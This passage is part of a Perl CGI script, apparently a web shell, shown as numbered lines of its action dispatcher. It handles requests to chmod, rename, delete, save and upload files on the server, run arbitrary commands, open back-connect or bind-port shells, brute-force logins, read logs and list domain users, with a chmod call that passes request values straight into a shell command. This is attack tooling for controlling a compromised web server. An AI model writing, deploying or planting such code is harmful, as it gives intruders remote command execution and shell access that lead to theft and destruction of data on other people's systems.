1540 | chop($result= `chmod $chmod "$file"`); | |
1541 | if(&trim($result) eq "") | |
1542 | { | |
1543 | print "<run> Done! </run><br>"; | |
1544 | }else | |
1545 | { | |
1546 | print "<run> Sorry! You dont have permissions! </run><br>"; | |
1547 | } | |
1548 | } | |
1549 | } | |
1550 | $rename=$in{'rename'}; | |
1551 | if(!$rename eq "") | |
1552 | { | |
1553 | if(rename($TransferFile,$rename)) | |
1554 | { | |
1555 | print "<run> Done! </run><br>"; | |
1556 | }else | |
1557 | { | |
1558 | print "<run> Sorry! You dont have permissions! </run><br>"; | |
1559 | } | |
1560 | } | |
1561 | $remove=$in{'remove'}; | |
1562 | if($remove ne "") | |
1563 | { | |
1564 | $rm = $CurrentDir.$PathSep.$remove; | |
1565 | if(-d $rm) | |
1566 | { | |
1567 | &RmDir($rm); | |
1568 | }else | |
1569 | { | |
1570 | if(unlink($rm)) | |
1571 | { | |
1572 | print "<run> Done! </run><br>"; | |
1573 | }else | |
1574 | { | |
1575 | print "<run> Sorry! You dont have permissions! </run><br>"; | |
1576 | } | |
1577 | } | |
1578 | } | |
1579 | print &ListDir; | |
1580 | ||
1581 | } | |
1582 | elsif($Action eq "command") # user wants to run a command | |
1583 | { | |
1584 | &PrintPageHeader("c"); | |
1585 | print &ExecuteCommand; | |
1586 | } | |
1587 | elsif($Action eq "save") # user wants to save a file | |
1588 | { | |
1589 | &PrintPageHeader; | |
1590 | if(&SaveFile($in{'data'},$in{'file'})) | |
1591 | { | |
1592 | print "<run> Done! </run><br>"; | |
1593 | }else | |
1594 | { | |
1595 | print "<run> Sorry! You dont have permissions! </run><br>"; | |
1596 | } | |
1597 | print &ListDir; | |
1598 | } | |
1599 | elsif($Action eq "upload") # user wants to upload a file | |
1600 | { | |
1601 | &PrintPageHeader; | |
1602 | ||
1603 | print &UploadFile; | |
1604 | } | |
1605 | elsif($Action eq "backbind") # user wants to back connect or bind port | |
1606 | { | |
1607 | &PrintPageHeader("clientport"); | |
1608 | print &BackBind; | |
1609 | } | |
1610 | elsif($Action eq "bruteforcer") # user wants to brute force | |
1611 | { | |
1612 | &PrintPageHeader; | |
1613 | print &BruteForcer; | |
1614 | }elsif($Action eq "download") # user wants to download a file | |
1615 | { | |
1616 | print &DownloadFile; | |
1617 | }elsif($Action eq "checklog") # user wants to view log file | |
1618 | { | |
1619 | &PrintPageHeader; | |
1620 | print &ViewLog; | |
1621 | ||
1622 | }elsif($Action eq "domainsuser") # user wants to view list user/domain | |
1623 | { | |
1624 | &PrintPageHeader; | |
1625 | print &ViewDomainUser; | |
1626 | }elsif($Action eq "logout") # user wants to logout | |
1627 | { | |
1628 | &PerformLogout; | |
1629 | } | |
1630 | &PrintPageFooter; |